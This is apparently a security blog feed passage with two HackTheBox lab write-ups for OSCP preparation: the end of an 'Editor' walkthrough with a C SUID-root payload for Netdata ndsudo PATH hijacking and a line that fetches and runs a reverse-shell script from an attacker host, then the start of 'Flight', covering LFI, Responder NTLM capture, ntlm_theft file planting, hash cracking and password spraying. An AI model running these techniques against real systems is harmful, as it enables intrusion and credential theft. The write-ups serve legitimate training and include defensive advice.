<p>The vulnerable helper expected an executable file. My replacement payload was a script. In situations like this, the way the operating system and interpreter handle scripts can result in privileges being dropped for safety. In other words, even though my file was being invoked, it was not being treated in a way that preserved the privileged execution context I needed.</p>
<p>That was a really useful concept to run into firsthand. It showed me that not every file that is “executable” is functionally equivalent for privilege escalation. Sometimes the distinction between “script interpreted by a shell” and “ELF binary executed directly” matters a lot.</p>
<p>So instead of continuing to force a script-based payload, I moved to a compiled C binary.</p>
<hr />
<h3><strong>Writing a C Payload for Reliable Elevation</strong></h3>
<p>To make the exploit reliable, I wrote a small C program that explicitly set the real and effective user and group IDs to <code>0</code>, then copied <code>/bin/bash</code>, changed ownership to root, and applied SUID permissions.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/types.h&gt;

int main() {
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    system("cp /bin/bash /home/oliver/neo; chown root:root /home/oliver/neo; chmod 6777 /home/oliver/neo");
}
</code></pre>
<p>I compiled it, named it after the command <code>ndsudo</code> was expecting, and placed it in a writable directory under my control. Then I made sure that directory appeared early in my <code>PATH</code>.</p>
<p>The reason this worked where the script failed is that I was now giving the vulnerable program what it effectively wanted: a true executable binary that would run directly and preserve the privileged context long enough for my code to do its job.</p>
<p>When I triggered the vulnerable Netdata helper, it created my SUID-root copy of bash as intended.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/20194f8a-1f7d-4a98-b5ff-8b3404d8abe7.png" alt="" style="display:block;margin:0 auto" />

<p>Then I simply ran:</p>
<pre><code class="language-bash">./neo -p
whoami
</code></pre>
<p>And got:</p>
<pre><code class="language-text">root
</code></pre>
<hr />
<h1><strong>5. Lessons Learned</strong></h1>
<h3><strong>1. Version disclosure on a CMS is always a potential attack vector.</strong></h3>
<p>Whenever I encounter a CMS or framework and can identify the version, I need to immediately search for known vulnerabilities. That piece of enumeration was the difference between blindly poking at a wiki and turning it into a foothold.</p>
<h3><strong>2. Encoding issues can break a valid exploit path</strong></h3>
<p>I learned a very practical lesson about request encoding here. I had a valid exploit path in front of me, but because the payload was not encoded the way I thought it was, it initially failed.</p>
<h3><strong>3. Simpler payloads are often more reliable than clever ones</strong></h3>
<p>This box reinforced the value of simplifying payloads when the execution context is unstable or picky. I initially tried to force a reverse shell one-liner through Groovy, but it kept breaking. Once I split the attack into smaller steps and staged the payload externally, everything became much more reliable. That is a lesson I expect to reuse often.</p>
<h3><strong>4. Credentials should be tested across multiple access methods</strong></h3>
<p>I got a very useful reminder that credentials should be tested across multiple access methods. The credential I found did not work with <code>su</code>, but it did work over SSH. If I had treated the first failure as definitive, I would have missed the valid pivot.</p>
<h3><strong>5. Internal-only services become part of the attack surface after a foothold</strong></h3>
<p>The box highlighted how important localhost-only services can be after a foothold. It is easy to focus only on what is exposed externally, but once I had user access, internal services became part of the attack surface too. Port forwarding let me inspect that hidden layer of the system much more effectively.</p>
<h3><strong>6. Scripts and compiled binaries are not interchangeable in privileged contexts</strong></h3>
<p>The privilege escalation path taught me an important technical distinction between scripts and compiled binaries in privileged execution contexts. My first exploit attempt was conceptually correct but mechanically wrong. Only when I slowed down and understood why the privilege drop was happening did I realize I needed a real binary rather than a script.</p>
<hr />
<h1><strong>6. Defensive Insight</strong></h1>
<h3><strong>1. Internet-facing CMS platforms need to be patched aggressively</strong></h3>
<p>The most obvious issue was the vulnerable XWiki instance. Running a CMS with a known RCE vulnerability and exposing its version publicly gave an attacker both the target and the roadmap. Keeping internet-facing software patched and reducing version disclosure wherever possible would have significantly improved the defensive posture.</p>
<h3><strong>2. Plaintext credentials in configuration files create easy pivot opportunities</strong></h3>
<p>The application configuration hygiene was also poor. Storing credentials in accessible plaintext configuration files gave the attacker an easy bridge from the service account into a real user account. Sensitive secrets should be stored more securely and access to configuration files should be tightly controlled.</p>
<h3><strong>3. SSH access and credential reuse should be tightly controlled</strong></h3>
<p>On the authentication side, the environment also benefited the attacker by allowing that credential to be used over SSH. Restricting SSH access, enforcing stronger credential hygiene, and limiting where and how service-related secrets can be reused would all reduce the chance of this kind of pivot.</p>
<h3><strong>4. Privileged binaries should never rely on unsafe PATH resolution</strong></h3>
<p>The privilege escalation issue in Netdata was another clear example of why privileged binaries should use absolute paths and avoid unsafe dependence on environment-controlled values like <code>PATH</code>. If a privileged program invokes helper commands, it should do so explicitly and defensively, not in a way that allows a user to influence command resolution.</p>
<h3><strong>5. Localhost-bound services are not automatically safe</strong></h3>
<p>Lastly, the machine is a good reminder that localhost-bound services are not inherently safe. Developers and administrators sometimes treat “listening only on 127.0.0.1” as if it means “not reachable by attackers,” but once a user account is compromised, that assumption breaks down quickly. Internal services still need to be hardened because a foothold often turns them into the next step of the attack chain.</p>
<hr />
<h2><strong>7. Useful Commands</strong></h2>
<pre><code class="language-bash"># Initial Nmap scan
nmap -sC -sV -oN nmap.txt 10.129.231.23

# Vhost enumeration
ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4

# Directory brute forcing against the main site
ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Search for XWiki-related exploits
searchsploit xwiki

# Identify local users with shells
cat /etc/passwd | grep sh

# Search recursively for password-like strings in accessible files
grep -r pass *

# Inspect localhost-bound services
ss -tuln

# Forward multiple internal ports in one SSH command
ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23

# Stage a reverse shell more reliably via file download
curl http://&lt;attacker_ip&gt;/shell.sh -o /dev/shm/shell.sh
bash /dev/shm/shell.sh
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #12
HTB Write-Up Flight]]></title><description><![CDATA[1. Target Overview
Machine Name: FlightPlatform: HackTheBoxOperating System: WindowsTarget IP:Objective: Compromise the target system and obtain administrative access in an Active Directory environmen]]></description><link>https://www.hack2harden.com/oscp-prep-12-htb-write-up-flight</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-12-htb-write-up-flight</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Thu, 19 Mar 2026 03:47:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/74aaf0f0-12f0-4070-ace4-4f3c42941564.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Flight<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong><br /><strong>Objective:</strong> Compromise the target system and obtain administrative access in an Active Directory environment.</p>
<p>This machine presented a realistic Windows Active Directory environment with multiple attack vectors spanning web exploitation, SMB abuse, credential harvesting, and domain escalation.</p>
<p>Out of all the machines I’ve worked through so far, Flight stands out as one of the most instructive and well-designed. It ties together several critical real-world attack techniques—such as LFI/RFI, NTLM capture, writable SMB shares, web-based RCE, and Kerberos delegation abuse—into a single, cohesive attack path. The overall flow felt very realistic and reinforced the importance of thinking holistically rather than focusing on just one vector at a time.</p>
<h3>Tools Used</h3>
<ul>
<li><p><strong>Nmap</strong> – Identified open ports, services, and attack surface</p>
</li>
<li><p><strong>NetExec (nxc)</strong> – LDAP/SMB enumeration and BloodHound data collection</p>
</li>
<li><p><strong>BloodHound</strong> – Analyzed Active Directory relationships and privilege paths</p>
</li>
<li><p><strong>smbclient</strong> – Enumerated shares and interacted with SMB file systems</p>
</li>
<li><p><strong>Responder</strong> – Captured NTLMv2 authentication hashes via forced authentication</p>
</li>
<li><p><strong>NTLMTheft</strong> – Generated malicious files to trigger SMB authentication</p>
</li>
<li><p><strong>John the Ripper</strong> – Cracked captured NTLMv2 hashes offline</p>
</li>
<li><p><strong>cURL</strong> – Interacted with web endpoints and inspected server responses</p>
</li>
<li><p><strong>PHP Webshell</strong> – Achieved initial remote code execution via writable web directory</p>
</li>
<li><p><strong>ASPX Webshell</strong> – Gained code execution on IIS development site</p>
</li>
<li><p><strong>Netcat (nc)</strong> – Established reverse shells</p>
</li>
<li><p><strong>rlwrap</strong> – Improved shell usability and interaction</p>
</li>
<li><p><strong>RunasCs</strong> – Executed commands as another user (c.bum)</p>
</li>
<li><p><strong>Chisel</strong> – Performed port forwarding to access internal-only services</p>
</li>
<li><p><strong>Rubeus</strong> – Performed TGT delegation attack to obtain Kerberos tickets</p>
</li>
<li><p><strong>Impacket (secretsdump.py)</strong> – Performed DCSync to extract domain hashes</p>
</li>
<li><p><strong>Impacket (psexec.py)</strong> – Achieved remote command execution as Administrator</p>
</li>
<li><p><strong>Python HTTP Server</strong> – Hosted payloads (Rubeus, Chisel, RunasCs)</p>
</li>
<li><p><strong>wget / PowerShell WebClient</strong> – Downloaded payloads onto the target</p>
</li>
</ul>
<h1>2. Enumeration</h1>
<h3><strong>Initial Service Discovery</strong></h3>
<p>I began with an Nmap scan to identify open ports, exposed services, and domain-related details. The scan revealed a standard Active Directory host along with an HTTP service.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/96790b1e-029c-4883-88ca-df6f658655fd.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/605170bf-d551-4b9e-b624-bcc0a3e18708.png" alt="" style="display:block;margin:0 auto" />

<p>Key services identified:</p>
<ul>
<li><p><strong>53 (DNS)</strong></p>
</li>
<li><p><strong>80 (HTTP)</strong> – Apache httpd 2.4.52 on Win64 with PHP</p>
</li>
<li><p><strong>88 (Kerberos)</strong></p>
</li>
<li><p><strong>135 (MSRPC)</strong></p>
</li>
<li><p><strong>139 (NetBIOS)</strong></p>
</li>
<li><p><strong>389 (LDAP)</strong></p>
</li>
<li><p><strong>445 (SMB)</strong></p>
</li>
<li><p><strong>464 (kpasswd)</strong></p>
</li>
<li><p><strong>593 (RPC over HTTP)</strong></p>
</li>
<li><p><strong>3268 (Global Catalog LDAP)</strong></p>
</li>
<li><p>Additional high RPC ports typical of Windows</p>
</li>
</ul>
<p>The scan also exposed two important details:</p>
<ul>
<li><p><strong>Domain:</strong> <code>flight.htb</code></p>
</li>
<li><p><strong>Hostname:</strong> <code>g0</code></p>
</li>
</ul>
<p>Since this is an AD target, I followed <strong>step 1 of my checklist</strong> and added the discovered naming information to my hosts file so the target could be resolved properly during later enumeration and attack steps.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4be49139-ae47-4940-b374-40cf86316c38.png" alt="" style="display:block;margin:0 auto" />

<hr />
<p><strong>SMB Enumeration</strong></p>
<p>Following <strong>step 2 of my AD checklist</strong>, I attempted anonymous SMB enumeration first.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1924174-1c3e-4fa5-8a3c-dfe47c1fcc87.png" alt="" style="display:block;margin:0 auto" />

<p>I tested null and guest-style access, but both paths failed:</p>
<ul>
<li><p>Anonymous share enumeration returned STATUS_ACCESS_DENIED</p>
</li>
<li><p>Guest access returned STATUS_ACCOUNT_DISABLED</p>
</li>
</ul>
<p>That told me SMB was not going to give me an easy foothold or anonymous file access.</p>
<hr />
<h3><strong>RPC Enumeration</strong></h3>
<p>Following <strong>step 3 of my AD checklist</strong>, I attempted anonymous RPC enumeration with <code>rpcclient</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/253d3ef6-1174-48cb-90d8-3bad37455279.png" alt="" style="display:block;margin:0 auto" />

<p>That also failed:</p>
<ul>
<li><code>enumdomusers</code> returned <strong>NT_STATUS_ACCESS_DENIED</strong></li>
</ul>
<p>So anonymous RPC user enumeration was blocked as well.</p>
<hr />
<p><strong>LDAP Enumeration</strong></p>
<p>Following <strong>step 4 of my AD checklist</strong>, I attempted anonymous LDAP enumeration.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/71801050-15cb-44a1-b5e8-bf6fa9db4b81.png" alt="" style="display:block;margin:0 auto" />

<p>That failed too:</p>
<ul>
<li>LDAP returned an error indicating a <strong>successful bind was required</strong> before the operation could be completed</li>
</ul>
<p>This confirmed anonymous LDAP enumeration was disabled.</p>
<hr />
<h3>Web Enumeration</h3>
<p>At this point, the early anonymous AD paths had been shut down:</p>
<ol>
<li><p>Hosts file updated with the discovered domain/FQDN</p>
</li>
<li><p>Anonymous SMB enumeration failed</p>
</li>
<li><p>Anonymous RPC enumeration failed</p>
</li>
<li><p>Anonymous LDAP enumeration failed</p>
</li>
</ol>
<p>Because of that, I decided to shift focus to the web server on port 80.</p>
<p>Upon visiting <a href="http://flight.htb"><code>http://flight.htb</code></a>, I was presented with a <strong>flight booking website</strong> (“g0 Aviation”).</p>
<p>Observations:</p>
<ul>
<li><p>The site appeared <strong>static</strong></p>
</li>
<li><p>Navigation links did not trigger meaningful backend interaction</p>
</li>
<li><p>No visible input fields or dynamic functionality</p>
</li>
<li><p>No immediate injection points or authentication features</p>
</li>
</ul>
<p>At this point, the web app itself did not provide a direct attack path.</p>
<hr />
<h3><strong>Virtual Host Enumeration</strong></h3>
<p>Because the main site lacked functionality, I expanded the attack surface by fuzzing for virtual hosts.</p>
<p>Command used:</p>
<pre><code class="language-plaintext">ffuf -u http://&lt;target_ip&gt; -H "Host: FUZZ.flight.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 1546
</code></pre>
<p>This resulted in the discovery of a new subdomain:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/cf02fff5-0126-41be-86a1-6e643429cbc2.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>school.flight.htb</strong></li>
</ul>
<p>This is a critical finding because:</p>
<ul>
<li><p>It indicates <strong>multiple web apps hosted on the same server</strong></p>
</li>
<li><p>Hidden vhosts often contain <strong>admin panels, dev apps, or vulnerable functionality</strong></p>
</li>
<li><p>This gives us a <strong>new attack surface after AD enumeration failed</strong></p>
</li>
</ul>
<p>With this discovery, I shifted my focus to <strong>school.flight.htb</strong> as the next target for deeper enumeration, since hidden subdomains frequently expose functionality that is not present on the main site.</p>
<h3><strong>Web Enumeration (school.flight.htb)</strong></h3>
<p>After discovering the <code>school.flight.htb</code> subdomain, I followed up by adding it to my hosts file:</p>
<p>I then navigated to the site in my browser while simultaneously running directory and vhost fuzzing in the background to maximize coverage.</p>
<p>Upon visiting <a href="http://school.flight.htb"><code>http://school.flight.htb</code></a>, I was presented with what appears to be a development-stage aviation school website.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/76628095-0f2c-437f-8820-5e4b5501eaa6.png" alt="" style="display:block;margin:0 auto" />

<p>Initial observations:</p>
<ul>
<li><p>The site is more dynamic than the main domain</p>
</li>
<li><p>Contains navigation links such as <strong>Home, About Us, Blog</strong></p>
</li>
</ul>
<p>When clicking <strong>Home</strong>, I was redirected to:</p>
<pre><code class="language-plaintext">index.php?view=home.html
</code></pre>
<p>This immediately stood out to me.</p>
<hr />
<h3><strong>Parameter Analysis</strong></h3>
<p>From the URL structure, I observed:</p>
<ul>
<li><p><code>index.php</code> is acting as the <strong>main handler script</strong></p>
</li>
<li><p><code>view</code> is a <strong>GET parameter</strong></p>
</li>
<li><p><code>home.html</code> is being passed as a <strong>value to that parameter</strong></p>
</li>
</ul>
<p>This suggests that the application is dynamically loading content based on user-supplied input.</p>
<hr />
<h3><strong>LFI Potential Identification</strong></h3>
<p>At this point, I suspected a potential <strong>Local File Inclusion (LFI)</strong> vulnerability.</p>
<p>The reasoning was:</p>
<ul>
<li><p>The application appears to take user input (<code>view</code>) and use it to determine which file to load</p>
</li>
<li><p>The value being passed (<code>home.html</code>) looks like a file path</p>
</li>
<li><p>There was no visible restriction or sanitization in the URL itself</p>
</li>
</ul>
<p>This pattern commonly maps to backend logic similar to:</p>
<pre><code class="language-plaintext">include($_GET['view']);
</code></pre>
<p>If this is the case, then I may be able to manipulate the <code>view</code> parameter to load arbitrary files on the system.</p>
<h1>3. Exploitation</h1>
<p>I proceeded to test whether the application was vulnerable to LFI.</p>
<p>To do this, I attempted to load a known file that is present on most Windows systems:</p>
<pre><code class="language-plaintext">index.php?view=/Windows/win.ini
</code></pre>
<hr />
<h3><strong>LFI Validation</strong></h3>
<p>The response returned the contents of the <code>win.ini</code> file directly in the browser.</p>
<p>This confirmed that:</p>
<ul>
<li><p>The application is using user-supplied input to load files</p>
</li>
<li><p>There is no proper sanitization or restriction in place</p>
</li>
<li><p>The <code>view</code> parameter is vulnerable to <strong>Local File Inclusion (LFI)</strong></p>
</li>
</ul>
<h3><strong>LFI → RFI Testing</strong></h3>
<p>After confirming LFI, I moved to the next logical step: <strong>checking for Remote File Inclusion (RFI)</strong>.</p>
<p>Anytime I find LFI, I want to test RFI because:</p>
<ul>
<li><p>LFI → file read</p>
</li>
<li><p>RFI → potential <strong>remote code execution (RCE)</strong></p>
</li>
</ul>
<p>If the application is using something like <code>include()</code> or <code>require()</code> with user input, RFI can often lead directly to a shell.</p>
<hr />
<h3><strong>RFI Test Setup</strong></h3>
<p>To test this, I created a simple PHP file on my attack machine:</p>
<pre><code class="language-plaintext">&lt;?php echo "neo test"; ?&gt;
</code></pre>
<p>Then I hosted it using a Python web server:</p>
<pre><code class="language-plaintext">python3 -m http.server 80
</code></pre>
<p>I modified the vulnerable parameter to point to my hosted file:</p>
<pre><code class="language-plaintext">index.php?view=http://&lt;attacker_ip&gt;/test.txt
</code></pre>
<hr />
<h3><strong>Observed Behavior</strong></h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/49c92546-d043-4790-b493-82e56ef243de.png" alt="" style="display:block;margin:0 auto" />

<p>Two key things happened:</p>
<ol>
<li><p><strong>Callback confirmed</strong></p>
<ul>
<li><p>The target made a request to my server</p>
</li>
<li><p>This proves the application is fetching remote content</p>
</li>
</ul>
</li>
<li><p><strong>PHP did NOT execute</strong></p>
<ul>
<li><p>The response showed the <strong>raw PHP source code</strong></p>
</li>
<li><p><code>&lt;?php echo "neo test"; ?&gt;</code> was not interpreted</p>
</li>
</ul>
</li>
</ol>
<hr />
<h3><strong>What This Tells Me</strong></h3>
<p>This is the critical distinction:</p>
<ul>
<li>The app is likely using something like: <code>file_get_contents()</code> → reads file as text → <strong>no execution</strong></li>
</ul>
<p>So: <strong>RFI behavior exists (remote fetch works) but</strong> <strong>No direct RCE via RFI</strong></p>
<p>Even though RCE isn’t immediate, this is still valuable I can:</p>
<ul>
<li><p>Pull remote content into the app</p>
</li>
<li><p>Confirm outbound connectivity</p>
</li>
<li><p>Potentially chain this with other techniques</p>
</li>
<li><p>But I <strong>cannot execute PHP directly via RFI</strong></p>
</li>
</ul>
<h3><strong>LFI → SMB Abuse (Credential Capture)</strong></h3>
<p>After confirming that RFI would not lead to code execution, I pivoted to another common LFI technique: <strong>forcing the application to authenticate over SMB</strong>.</p>
<p>Even though HTTP-based RFI did not execute code, LFI can still be abused to trigger <strong>outbound authentication attempts</strong>, which can be captured.</p>
<hr />
<h3><strong>Attack Setup</strong></h3>
<p>I started a listener using Responder:</p>
<pre><code class="language-plaintext">sudo responder -I tun0
</code></pre>
<p>The goal here is simple:</p>
<ul>
<li><p>Trick the target into requesting a resource over SMB</p>
</li>
<li><p>Capture the <strong>NetNTLMv2 challenge/response</strong> when it tries to authenticate</p>
</li>
</ul>
<hr />
<h3><strong>Triggering the Authentication</strong></h3>
<p>Instead of using HTTP, I leveraged the LFI parameter to point to my attacker machine:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/385c21a4-1171-4b2f-bab3-4adea07f6efe.png" alt="" style="display:block;margin:0 auto" />

<p>This forces the Windows server to:</p>
<ul>
<li><p>Reach out over SMB</p>
</li>
<li><p>Attempt authentication using its current user context</p>
</li>
</ul>
<hr />
<h3><strong>Hash Capture</strong></h3>
<p>This worked immediately.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/be072915-de48-4f04-8e8c-a660800ca0e3.png" alt="" style="display:block;margin:0 auto" />

<p>I captured a <strong>NetNTLMv2 challenge/response</strong> for:</p>
<ul>
<li><p><strong>User:</strong> <code>svc_apache</code></p>
</li>
<li><p><strong>Domain:</strong> <code>flight.htb</code></p>
</li>
</ul>
<p>This is a <strong>service account</strong>, which is exactly what you want:</p>
<ul>
<li><p>Often reused</p>
</li>
<li><p>Often has elevated or useful permissions</p>
</li>
<li><p>Sometimes poorly secured</p>
</li>
</ul>
<hr />
<h3><strong>Hash Cracking</strong></h3>
<p>Next, I attempted to crack the captured NetNTLMv2 hash using John:</p>
<pre><code class="language-plaintext">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<p>The attack was successful:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b2f881e7-25ee-42da-8e52-cb90ccbedef3.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>Password cracked for <strong>svc_apache</strong></p>
</li>
<li><p>I now have valid <strong>domain credentials</strong></p>
</li>
</ul>
<h3><strong>User Enumeration &amp; Password Spraying</strong></h3>
<p>After successfully cracking the NetNTLMv2 hash, I obtained valid credentials for the service account:</p>
<ul>
<li><p><strong>User:</strong> <code>svc_apache</code></p>
</li>
<li><p><strong>Password:</strong> <code>S@Ss!K0x+13</code></p>
</li>
</ul>
<hr />
<h3><strong>Domain User Enumeration</strong></h3>
<p>With valid credentials, I returned to my AD checklist and proceeded with proper authenticated enumeration.</p>
<p>Using <code>nxc</code>, I enumerated domain users:</p>
<pre><code class="language-plaintext">nxc smb &lt;target_ip&gt; -u svc_apache -p 'S@Ss!K0x+13' --users
</code></pre>
<p>This provided a list of domain users.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5a588170-ef15-4d91-8bfd-0f9ad199d1ce.png" alt="" style="display:block;margin:0 auto" />

<p>Now I had a solid <strong>user list to work with</strong>, which is critical for the next phase.</p>
<hr />
<h3><strong>Password Spraying (Credential Reuse Check)</strong></h3>
<p>Following best practice, I immediately tested for <strong>password reuse</strong>.</p>
<p>This is especially important with:</p>
<ul>
<li><p><strong>Service accounts</strong> → often reused or poorly managed</p>
</li>
<li><p>Internal environments → users commonly reuse passwords</p>
</li>
</ul>
<p>I performed a password spray using the discovered credentials:</p>
<pre><code class="language-plaintext">nxc smb &lt;target_ip&gt; -u user.txt -p 'S@Ss!K0x+13' --continue-on-success
</code></pre>
<hr />
<h3><strong>Result – Additional Compromise</strong></h3>
<p>The spray revealed a successful login:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/35cb0a6f-a0b3-462d-963f-c8f7d98dde53.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><strong>User:</strong> <code>S.Moon</code></p>
</li>
<li><p><strong>Password:</strong> <code>S@Ss!K0x+13</code></p>
</li>
</ul>
<p>This confirms <strong>password reuse within the domain</strong>.</p>
<h3><strong>WinRM Access Check</strong></h3>
<p>After obtaining credentials for both:</p>
<ul>
<li><p><code>svc_apache</code></p>
</li>
<li><p><code>S.Moon</code></p>
</li>
</ul>
<p>The next logical step was to check for <strong>remote access via WinRM</strong>, as this is often a quick path to an interactive shell on Windows targets.</p>
<p>I attempted authentication using <code>evil-winrm</code> for both users:</p>
<pre><code class="language-plaintext">evil-winrm -i &lt;target_ip&gt; -u S.Moon -p 'S@Ss!K0x+13'
evil-winrm -i &lt;target_ip&gt; -u svc_apache -p 'S@Ss!K0x+13'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/baf23936-adbe-4e81-82d0-ca108a61cf93.png" alt="" style="display:block;margin:0 auto" />

<p>Both attempts failed with:</p>
<ul>
<li><strong>WinRM::WinRMAuthorizationError</strong></li>
</ul>
<p>This indicates:</p>
<ul>
<li>Neither user has WinRM access rights</li>
</ul>
<p>WinRM access is typically restricted to:</p>
<ul>
<li><p>Administrators</p>
</li>
<li><p>Remote Management Users group</p>
</li>
</ul>
<p>Neither <code>svc_apache</code> nor <code>S.Moon</code> are members of those groups.</p>
<h3><strong>Next Step – BloodHound Enumeration</strong></h3>
<p>Since:</p>
<ul>
<li>WinRM is not accessible</li>
</ul>
<p>The next move is to enumerate the domain using <strong>BloodHound</strong>.</p>
<p>Normally, I would use <strong>SharpHound</strong> (on-host collector), but:</p>
<ul>
<li>I do not have a shell on the target yet</li>
</ul>
<p>So instead, I used my backup approach:</p>
<ul>
<li><strong>NXC Bloodhound ce (external collector)</strong></li>
</ul>
<p>This allows me to:</p>
<ul>
<li><p>Enumerate AD remotely using valid credentials</p>
</li>
<li><p>Gather data on:</p>
<ul>
<li><p>Group memberships</p>
</li>
<li><p>Permissions</p>
</li>
<li><p>Attack paths</p>
</li>
<li><p>Privilege escalation opportunities</p>
</li>
</ul>
</li>
</ul>
<h3><strong>Domain Enumeration</strong></h3>
<p>I moved to broader Active Directory enumeration with BloodHound. I used <strong>nxc bloodhound-ce</strong> as my external collector. The collection succeeded, and I imported the results into BloodHound for analysis.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/372e5d06-8c0a-40b3-92ad-0651a90593cf.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d22ee9ab-4233-4c46-82bb-7995b10e361d.png" alt="" style="display:block;margin:0 auto" />

<p>The graph showed that although I had compromised two users, neither had any useful privileged group memberships, outbound object control, or obvious ACL-based escalation path.</p>
<h3><strong>Kerberos Attacks</strong></h3>
<p>After BloodHound did not reveal anything useful, I tested two common Kerberos attack paths:</p>
<ul>
<li><p><strong>AS-REP roasting</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/da7fe1e3-9dd9-4a78-a7d4-741fe3e76ec7.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p><strong>Kerberoasting</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/96ba173e-e5dc-4f6a-a688-bc5a434f7597.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<p>Both failed.</p>
<p>There were no roastable users with pre-auth disabled, and no useful service principal names exposed for ticket extraction. That ruled out the most common credential-based Kerberos escalation routes.</p>
<p>At this stage:</p>
<ul>
<li><p>I had confirmed and exploited LFI</p>
</li>
<li><p>Captured and cracked a NetNTLMv2 challenge/response</p>
</li>
<li><p>Compromised <code>svc_apache</code></p>
</li>
<li><p>Password sprayed and compromised <code>S.Moon</code></p>
</li>
<li><p>Confirmed neither user had WinRM access</p>
</li>
<li><p>Ruled out useful BloodHound privilege paths</p>
</li>
<li><p>Ruled out AS-REP roasting and Kerberoasting</p>
</li>
</ul>
<p>With those paths exhausted, my next move was to pivot into <strong>authenticated SMB enumeration</strong> and look for useful files, shares, credentials, or internal data.</p>
<h3><strong>Authenticated SMB Abuse – NTLM Theft via Writable Share</strong></h3>
<p>While performing authenticated SMB enumeration, I discovered that one of the compromised users had <strong>write access to a network share</strong>.</p>
<p>This is a critical finding.</p>
<p>Anytime I have write access to a share, I immediately consider <strong>NTLM credential theft attacks</strong>, because I can plant files that will cause legitimate users to <strong>authenticate back to my machine</strong>.</p>
<hr />
<h3><strong>Attack Concept</strong></h3>
<p>The idea is simple:</p>
<ul>
<li><p>Drop a file on the share</p>
</li>
<li><p>Wait for a user to interact with it (browse/open/render)</p>
</li>
<li><p>Their system attempts to fetch a remote resource</p>
</li>
<li><p>This triggers <strong>SMB authentication to my attacker machine</strong></p>
</li>
<li><p>I capture the <strong>NetNTLMv2 challenge/response</strong></p>
</li>
</ul>
<p>This type of attack is commonly referred to as:</p>
<p><strong>SMB/NTLM coercion via file planting</strong><br />(or more practically: <strong>NTLM theft via writable share</strong>)</p>
<hr />
<h3><strong>ntlm_theft</strong></h3>
<p>To streamline this, I used the <code>ntlm_theft</code> tool, which generates multiple file types designed to trigger authentication:</p>
<pre><code class="language-plaintext">sudo python3 ntlm_theft.py -g all -s &lt;attacker_ip&gt; -f neo
</code></pre>
<p>This created a variety of payload files such as:</p>
<ul>
<li><p><code>.lnk</code></p>
</li>
<li><p><code>.url</code></p>
</li>
<li><p><code>.scf</code></p>
</li>
<li><p>and others</p>
</li>
</ul>
<p>Each of these is crafted to force a remote connection when accessed.</p>
<hr />
<h3><strong>Uploading Payloads</strong></h3>
<p>Using SMB access, I uploaded these files to the writable share:</p>
<pre><code class="language-plaintext">smbclient //&lt;target_ip&gt;/shared -U S.Moon
</code></pre>
<p>Then:</p>
<pre><code class="language-plaintext">prompt false
mput *
</code></pre>
<p>Some files were blocked due to permissions, but several successfully uploaded, which is all that’s needed.</p>
<hr />
<h3><strong>Capturing Credentials</strong></h3>
<p>With the payloads in place, I restarted Responder:</p>
<pre><code class="language-plaintext">sudo responder -I tun0
</code></pre>
<p>Shortly after, I received a callback:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/50214b9b-8604-427b-8a13-15b8255e5dc1.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>User:</strong> <code>c.bum</code></li>
</ul>
<hr />
<h3><strong>Credential Recovery</strong></h3>
<p>As before, I took the captured hash and cracked it offline using John:</p>
<pre><code class="language-plaintext">john hash2.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre>
<p>Result:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/435dd482-d714-474c-a779-678262f47b4b.png" alt="" style="display:block;margin:0 auto" />

